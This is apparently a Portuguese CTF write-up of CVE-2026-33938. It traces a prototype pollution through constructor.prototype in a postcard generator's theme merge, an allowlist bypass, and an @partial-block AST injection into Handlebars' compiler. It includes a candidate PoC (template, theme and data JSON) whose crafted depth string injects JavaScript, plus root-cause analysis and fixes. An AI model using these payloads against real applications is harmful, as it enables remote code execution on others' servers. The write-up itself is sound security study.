ctf / code review / template injection

CVE-2026-33938: de Prototype Pollution a possível RCE no Handlebars

Writeup técnico do fluxo de dados em um gerador de cartões: validações, merge inseguro, helpers, @partial-block, AST e uma PoC candidata.

Escopo e evidências: estudo de uma CVE pública aplicada a um desafio CTF. A Prototype Pollution e o bypass da lista de propriedades foram reproduzidos isoladamente no material; a execução completa da cadeia até a RCE no desafio não foi confirmada. A PoC descrita é uma candidata e não demonstra, por si só, recuperação da flag. Testes apenas em laboratório próprio ou autorizado.

entendendo o aplicativo

no index.html, conseguimos ver que o aplicativo em si é um gerador de cartoes personalizados, nesse sistema existe template, theme e model. O template em si é o modelo html, ou seja, é a onde cada entrada de usuario vai aparecer na pagina. O theme em questao é aparencia desse template, ja o model é aonde estara os objetos que vai preencher o template.

POSTCARD TEMPLATE

<article style="color: {{theme.accent}}">
  <h2>{{title}}</h2>
  <p>{{message}}</p>
</article>

theme json

{ "accent": "#254f3d" }

propriedades do objeto theme

Postcard data JSON

{ "title": "Greetings from Velebit", "message": "The bora knows every trail." }

propriedades do objeto model

Request payload

{"template":"<article style=\"color: {{theme.accent}}\">\n <h2>{{title}}</h2>\n <p>{{message}}</p>\n</article>","theme":{"accent":"#254f3d"},"model":{"title":"Greetings from Velebit","message":"The bora knows every trail."}}

analisando o codigo

1. entrada de usuario

no index.html encontramos o codigo javascript que envia os dados para o servidor, ou seja, quando a gente clica no botao de enviar é enviado os dados do usuario para o endpoint api /api/preview.

<script>

    const byId = (id) => document.getElementById(id);

    byId('preview').addEventListener('click', async () => {

      const status = byId('status');

      status.textContent = 'Printing…';

      try {

        const response = await fetch('/api/preview', {

          method: 'POST',

          headers: {'Content-Type': 'application/json'},

          body: JSON.stringify({

            template: byId('template').value,

            theme: JSON.parse(byId('theme').value),

            model: JSON.parse(byId('model').value)

          })

        });

        const data = await response.json();

        status.textContent = JSON.stringify(data, null, 2);

        if (data.ok) byId('result').srcdoc = data.output;

      } catch (error) {

        status.textContent = error.message;

      }

    });

  </script>

2. analisando o endpoint api

no servidor(que é em node.js com framework Express), encontramos o ponto final responsavel por receber e validar os dados enviados pelo usuario, antes mesmo de encaminhá-lo ao processo worker:

app.post("/api/preview", async (request, response) => {

  const problem = validateJob(request.body);

  if (problem) {

    response.status(400).json({ error: problem });

    return;

  }

  

  const controller = new AbortController();

  request.once("aborted", () => controller.abort());

  response.once("close", () => {

    if (!response.writableEnded) controller.abort();

  });

  

  try {

    const result = await runWorker(request.body, controller.signal);

    response.status(result.ok ? 200 : 422).json(result);

  } catch (error) {

    response.status(502).json({ error: error.message });

  }

});

2.1 validação-validateJob()

seguindo o fluxo de dados encontramos a função validateJob nas linhas 49–79 do arquivo server.js:

function validateJob(body) {

  if (!isRecord(body)) {

    return "Preview data must be a JSON object";

  }

  if (typeof body.template !== "string" || body.template.length > 8192) {

    return "Template must be a string of at most 8192 characters";

  }

  if (!isRecord(body.theme) || !isRecord(body.model)) {

    return "Theme and model must be JSON objects";

  }

  if (containsBlockedKey(body.theme) || containsBlockedKey(body.model)) {

    return "Unsupported legacy key";

  }

  

  if (/\{\{~?\s*>\s*\(/u.test(body.template)) {

    return "Dynamic partial expressions are not supported";

  }

  

  if (/\{\{~?#\*\s*inline\b/u.test(body.template)) {

    return "Custom inline layouts are not supported";

  }

  

  const partialTag = /\{\{~?#?>~?\s*([^\s}~]+)/gu;

  const allowedPartials = new Set(["@partial-block", "myPartial"]);

  for (const match of body.template.matchAll(partialTag)) {

    if (!allowedPartials.has(match[1])) {

      return "Only the myPartial postcard layout is supported";

    }

  }

  return null;

}

entao antes de enviar para o worker existe essas validações, existe muitas, mas o que mais me interessou foi containsBlockedKey que mostra quais propriedades são consideradas proibidas nos objetos model e theme.

2.1.1 validação incompleta-containsBlockedKey()

olhando as linhas 32-47 do mesmo arquivo(server.js), temos o seguinte trecho de codigo:

function containsBlockedKey(value, seen = new Set()) {

  if (value === null || typeof value !== "object" || seen.has(value)) {

    return false;

  }

  

  seen.add(value);

  for (const key of Object.keys(value)) {

    if (key === "__proto__") {

      return true;

    }

    if (containsBlockedKey(value[key], seen)) {

      return true;

    }

  }

  return false;

}

simplificando muito ele pega o nome da propriedade do objeto e verifica se tem __proto__ se nao tiver ele faz uma recursao, ou seja, ele usa a propria função e vai retornando falso ate encontrar um valor que nao é um objeto, como ele verifica apenas o proto entao conseguimos colocar o constructor prototype para bypass essa validação. Ainda nao confirmos essa vulnerabilidade de poluição de prototipo, ou seja, é apenas uma hipotese que precisamos validar, identificando uma operação de escrita.

2.2 seguindo os dados ate o worker

depois de passar pela validação, o servidor encaminha os dados para o worker:

const result = await runWorker(request.body, controller.signal);

O objeto request.body, contendo template, theme e model, é recebido no parâmetro job e convertido em texto JSON utilizando JSON.stringify():

function runWorker(job, signal){ . . . child.stdin.end(JSON.stringify(job)); }); }

no arquivo worker.js os dados sao enviados para a variavel input e convertidos para objeto javascript utilizando JSON.parse()

process.stdin.on("end", () => {

    try {

      const output = render(JSON.parse(input));

      process.stdout.write(JSON.stringify({ ok: true, output }));

    } catch (error) {

      process.stdout.write(JSON.stringify({ ok: false, error: error.message }));

      process.exitCode = 1;

    }

  });

traçando o fluxo de dados, vemos que no render existe mergeTheme, deixando a hipotese de poluição de prototipos alta:

function render(job) {

  const theme = mergeTheme({}, job.theme);

2.3 analisando o sink inseguro - mergeTheme()

function mergeTheme(target, source) {

  for (const [key, value] of Object.entries(source)) {

    if (value !== null && typeof value === "object") {

      target[key] ??= Array.isArray(value) ? [] : {};

      mergeTheme(target[key], value);

    } else {

      target[key] = value;

    }

  }

  return target;

}

de maneira simplificada essa função pega as propriedades de entrada do objeto theme e mescla para o objeto de destino(target), entao enviando o seguinte payload:

{
    "constructor": {
        "prototype": {
            "auditMarker": "LOCAL_ONLY"
        }
    }
}

temos que target.constructor vai ser igual a object, vemos isso aqui:

const target = {};

console.log(target.constructor === Object);
// true

mas por que target.constructor é igual a object? porque o objeto de destino esta vazio, ou seja, sem nenhuma propriedade, entao pegamos na cadeia de prototipos. Entretando se nao achamos essa propreidades(constructor) no target ele herda a propriedades pai de object.prototype, ou seja, consulta a cadeia de prototipos:

2. Object.prototype

`constructor: Object`

`toString: function`

`hasOwnProperty: function`

por isso target.constructor é igual a object.

fazendo a segunda recursao temos:

mergeTheme(object, source.constructor)

key = "prototype";
value = { auditMarker: "LOCAL_ONLY" };

terceira chamada:

mergeTheme(Object.prototype, source.constructor.prototype)

key = "auditMarker";
value = "LOCAL_ONLY";

Como o valor é uma string, a função entra no else:

target[key] = value;

portanto temos no final object.prototype.auditMarker="LOCAL_ONLY" ou seja essa propriedade(auditMarker) foi escrita no prototipo compartilhado dos objetos comuns.

exemplo de confirmação:

imagina que temos um objeto vazio chamado novoObjeto, se tentamos acessar novoObjeto.auditMarker, vai funcionar, pois a propriedade auditMarker esta no object.protype, que é justamente o objeto pai no javascript de todos os objetos:

const novoObjeto = {};

console.log(novoObjeto.auditMarker);
// LOCAL_ONLY

2.4 bypass de restrição de propriedades por meio de prototype pollution

o que é uma restrição de propriedades? como o nome ja disse é quando o desenvolvedor cria uma lista de propreidades que podem ser escritas ou modificadas, no codigo essa lista esta colocada aqui:

const writableProperties = {
    title: true,
    accent: true,
    caption: true
};

vamos supor que eu envie Object.prototype["partial-block"] = true;

Agora existe uma propriedade chamada partial-block no protótipo compartilhado.

olhando a lista criada pelo desenvolvedor acima temos 3 propriedades aceitas(title, accept, caption) para modificação e escrita, Mas objetos criados com {} herdam propriedades de Object.prototype.

Portanto:

console.log(writableProperties["partial-block"]);
// true

Mesmo sem o desenvolvedor colocar partial-block na lista de permissões, o JavaScript encontra essa propriedade por herança, isso é logico por que:

O JavaScript faz o seguinte:

  1. Procura partial-block diretamente em writableProperties.
  1. Como não encontra, procura em Object.prototype.
  1. Se encontrar, retorna o valor herdado.
  1. Caso contrário, retorna undefined.

2.5 CVE-2026-33938

essa cve se da em conta a bibilioteca handlebars, mas o que é o handlebars?

é um mecanismo de template, que transforma valores de propriedades de um objeto em texto, geralmente html.

exemplo:

<p>Olá, meu nome é {{nome}} e eu tenho {{idade}} anos.</p> E passa este Objeto de Dados:

{
  "nome": "Carlos",
  "idade": 28
}

O Handlebars processa ambos e gera o seguinte Texto/HTML final:

<p>Olá, meu nome é Carlos e eu tenho 28 anos.</p>

existe funcionalidades mais avançadas alem disso no handlebars.

2.5.1 entendendo os helpers

um helper é uma função javascript registrada pelo desenvolvedor para ser utilizada dentro de um template handlebars. Por exemplo:

Handlebars.registerHelper("dobro", function (valor) {
    return valor * 2;
});

no template, {{dobro 5}} produz 10. Isso é normal: o template pode chamar funções que a aplicação disponibilizou.

no worker.js do desafio existe o helper setLayoutOption, que é mais sensível porque escreve em um objeto recebido como argumento:

const writableProperties = { title: true, accent: true, caption: true };

Handlebars.registerHelper("setLayoutOption", function (target, options) {
    const key = options.hash.key;
    const value = options.hash.value;
    if (typeof key !== "string" || !writableProperties[key]) {
        throw new Error("Theme property is not writable");
    }
    if (target === null || (typeof target !== "object" && typeof target !== "function")) {
        throw new Error("Theme target is invalid");
    }
    target[key] = value;
    return "";
});

traduzindo: target é o objeto de destino; key é o nome da propriedade; value é o novo valor. O risco depende de qual objeto conseguimos fornecer em target. Como explicado na seção anterior, a consulta writableProperties[key] aceita propriedades herdadas depois da Prototype Pollution.

2.5.2 entendendo partials e @partial-block

um partial é um pedaço reutilizável de template. Por exemplo, podemos ter um partial chamado myPartial, que fornece a moldura do cartão:

<section class="postcard-layout">
    {{> @partial-block}}
</section>

e usar esse partial no template principal:

{{#> myPartial}}
    <h2>Olá!</h2>
{{/myPartial}}

nesse caso, @partial-block representa o conteúdo colocado entre {{#> myPartial}} e {{/myPartial}}.

no arquivo src/templates/postcard-layout.hbs do desafio, a referência aparece duas vezes:

<section class="postcard-layout">
    {{> @partial-block}}
    {{> @partial-block}}
</section>

esse detalhe é importante para a CVE: o conteúdo executado na primeira passagem pode chamar um helper que altera uma estrutura interna consultada novamente na segunda passagem.

2.5.3 o que é um data frame e o que significa @_parent?

o handlebars mantém objetos internos chamados data frames para armazenar informações da renderização. Um desses objetos pode guardar a propriedade partial-block, normalmente associada a uma função de renderização.

imaginando um objeto simplificado:

const dataFrame = {
    "partial-block": funcaoOriginal
};

em contextos aninhados, o handlebars permite acessar o frame pai por meio de @_parent. Essa referência não é Object.prototype: são dois conceitos diferentes.

se um helper receber uma referência ao frame correto e executar:

target["partial-block"] = payload;

e target apontar para o mesmo objeto que o handlebars vai utilizar depois, o valor original terá sido substituído. Isso acontece porque objetos javascript são passados por referência ao objeto, e não copiados automaticamente.

2.5.4 ligação entre a prototype pollution e o helper

para modificar partial-block, o template precisaria fazer a lista writableProperties aceitar essa chave, mas ela não está entre title, accent e caption.

entretanto, o theme abaixo passa pelo filtro de __proto__ e, quando processado pelo mergeTheme() vulnerável, pode escrever no protótipo compartilhado:

{
    "constructor": {
        "prototype": {
            "partial-block": true
        }
    }
}

como writableProperties é um objeto comum, a verificação writableProperties["partial-block"] encontra o valor true por herança.

então surge a seguinte chamada no template do desafio:

{{setLayoutOption @_parent key="partial-block" value=payload}}

substituindo os parâmetros para compreender a ideia:

target = /* frame pai referenciado por @_parent */;
key = "partial-block";
value = /* objeto AST em model.payload */;

// escrita executada pelo helper:
target[key] = value;

isso cria uma hipótese de escrita sobre o data frame que o handlebars utilizará mais tarde. Para afirmar que a cadeia inteira funciona neste desafio, precisamos confirmar em execução que @_parent realmente referencia o frame consumido pelo próximo {{> @partial-block}}.

2.5.5 o que é AST e por que o objeto payload é perigoso?

AST significa Abstract Syntax Tree, ou árvore sintática abstrata. É a representação estruturada de um programa. Normalmente, o parser do handlebars cria essa estrutura a partir de um template, como {{title}}.

um AST conceitual possui tipos como Program, MustacheStatement e PathExpression. O compilador utiliza essas propriedades para decidir quais instruções JavaScript produzir.

um objeto manipulado pode declarar que é um programa, mas conter valores inesperados nos campos internos:

const payload = {
    type: "Program",
    body: [{
        type: "MustacheStatement",
        depth: 0,
        path: {
            type: "PathExpression",
            parts: ["pop"],
            original: "this.pop",
            depth: "0])),function () {console.log('LIKACTF_RCE_MARKER');}()));//"
        }
    }]
};

no exemplo acima, o campo path.depth deveria representar uma profundidade de contexto, normalmente numérica, mas recebe uma string com sintaxe javascript. Essa é a parte usada para tentar provocar Code Injection. O objeto não executa código sozinho: ele precisa chegar ao compilador vulnerável.

2.5.6 onde o runtime do handlebars recebe o objeto?

no arquivo do handlebars 4.7.8 lib/handlebars/runtime.js, a função resolvePartial() procura o valor correspondente a @partial-block no data frame:

partial = options.data['partial-block'];

quando o valor original é uma função, a renderização acontece normalmente. Quando o valor passa a ser um objeto AST, o runtime possui um caminho alternativo em invokePartialWrapper() que tenta compilá-lo:

options.partials[options.name] = env.compile(partial, templateSpec.compilerOptions, env);

nesse momento, se partial for o AST controlado pelo usuário, a operação equivale a env.compile(payload, ...). Esse é o ponto em que um objeto que deveria ser apenas dado chega a uma função responsável por compilar código.

fonte da biblioteca: https://github.com/handlebars-lang/handlebars.js/blob/v4.7.8/lib/handlebars/runtime.js

2.5.7 rastreando path.depth até o compilador de javascript

a próxima etapa acontece em dois arquivos da biblioteca. No lib/handlebars/compiler/compiler.js, o método associado a PathExpression utiliza a profundidade fornecida no AST para criar uma operação interna:

this.opcode('getContext', path.depth);

no lib/handlebars/compiler/javascript-compiler.js, o método getContext() guarda o valor recebido:

this.lastContext = depth;

depois pushContext() usa esse valor para construir uma referência ao contexto, chamando contextName(this.lastContext).

em contextName(), o compilador monta partes do javascript gerado por concatenação. Com uma profundidade válida, como 1, pode produzir uma referência semelhante a depths[1]. Com uma string inesperada, os caracteres dessa string podem ser incorporados à sintaxe do javascript produzido, e não tratados apenas como um número.

por fim, o compilador reúne o código-fonte gerado e cria uma função utilizando:

return Function.apply(this, params);

isso não significa que qualquer texto do JSON é executado automaticamente. A vulnerabilidade exige um AST que atravesse esse caminho, que seus campos afetem a geração de javascript e que a função compilada seja utilizada durante a renderização.

fontes do compilador:

2.5.8 explicando os fechamentos do campo depth

vamos olhar somente a parte do marcador do campo depth:

"0])),function () {console.log('LIKACTF_RCE_MARKER');}()));//"

essa string não é um programa javascript independente. Ela foi construída para ser inserida dentro de um programa que o compilador já está gerando.

os fechamentos específicos dependem da expressão real emitida pelo compilador. Para afirmar exatamente qual parêntese fecha qual função, seria necessário inspecionar o javascript integral gerado nessa versão, e não apenas a função contextName().

2.5.9 PoC candidata de execução com marcador no CTF

na interface local do desafio, os três campos a serem preenchidos são:

Postcard template:

{{#> myPartial}}
  {{setLayoutOption @_parent key="partial-block" value=1}}
  {{setLayoutOption @_parent key="partial-block" value=payload}}
{{/myPartial}}

Theme JSON:

{"constructor":{"prototype":{"partial-block":true}}}

Postcard data JSON:

{
  "payload": {
    "type": "Program",
    "body": [{
      "type": "MustacheStatement",
      "depth": 0,
      "path": {
        "type": "PathExpression",
        "parts": ["pop"],
        "original": "this.pop",
        "depth": "0])),function () {throw new Error('LIKACTF_RCE_MARKER');}()));//"
      }
    }]
  }
}

essa PoC tenta provocar uma exceção com o texto LIKACTF_RCE_MARKER caso o javascript injetado seja realmente executado no worker. Ela se baseia no mecanismo publicado para a CVE, adaptado ao helper e ao layout deste desafio.

no worker.js, o tratamento de erros devolve a mensagem da exceção como JSON:

process.stdout.write(JSON.stringify({ ok: false, error: error.message }));

portanto, um retorno contendo LIKACTF_RCE_MARKER seria uma evidência observável de execução. Um HTTP 422, sozinho, não comprova RCE: pode indicar apenas erro de validação ou de compilação. É importante repetir o teste com um tema normal, sem a poluição, para conferir se a alteração seria bloqueada.

estado desta análise: a Prototype Pollution e o bypass da lista de propriedades foram reproduzidos isoladamente; o JSON da PoC passou pela validação do desafio; porém a cadeia completa até a RCE não foi confirmada de ponta a ponta no material analisado. Logo, essa PoC é candidata, não um exploit comprovadamente funcional no aplicativo.

2.5.10 relação com a flag do desafio

no laboratório, o servidor fornece um arquivo de flag ao worker em /tmp/lika/flag.txt. O processo é iniciado com permissão de leitura desse caminho. Isso explica por que uma eventual execução de JavaScript arbitrário dentro do worker poderia comprometer o segredo do próprio CTF.

caso uma RCE seja demonstrada, ainda é necessário comprovar separadamente a leitura do arquivo e a presença de seu conteúdo na resposta. Não devemos afirmar que a flag foi recuperada apenas porque encontramos uma Prototype Pollution ou porque a biblioteca utiliza uma versão afetada.

2.5.11 causa raiz, impacto e correção

neste desafio, a cadeia proposta combina problemas distintos:

  1. Prototype Pollution na aplicação: o filtro bloqueia apenas __proto__, enquanto mergeTheme() pode seguir constructor.prototype até Object.prototype.
  2. Bypass da lista de propriedades: writableProperties[key] aceita valores herdados em vez de conferir apenas propriedades autorizadas diretamente.
  3. Mutação de estado interno: o helper permite escrever em um objeto que pode ser um data frame do handlebars.
  4. CVE-2026-33938 na biblioteca: o Handlebars 4.7.8 pode compilar um AST não confiável colocado em @partial-block, permitindo Code Injection e RCE quando a cadeia é alcançável.

as principais correções são: rejeitar as chaves __proto__, constructor e prototype em mesclagens de objetos não confiáveis; não seguir propriedades herdadas durante a recursão; usar uma lista de propriedades com Set.has() ou Object.hasOwn(); restringir quais objetos os helpers conseguem modificar; e atualizar a biblioteca para uma versão corrigida, no mínimo a 4.7.9 para esta CVE, preferencialmente uma versão de manutenção mais recente.

conclusão: a Prototype Pollution não executa javascript diretamente. Ela pode abrir o caminho para modificar uma estrutura interna do handlebars. A RCE documentada na CVE-2026-33938 ocorre quando um AST controlado entra no compilador vulnerável e influencia o código javascript gerado e executado. No desafio, essa cadeia permanece como hipótese até a reprodução integral.

2.5.12 referências
← voltar aos write-ups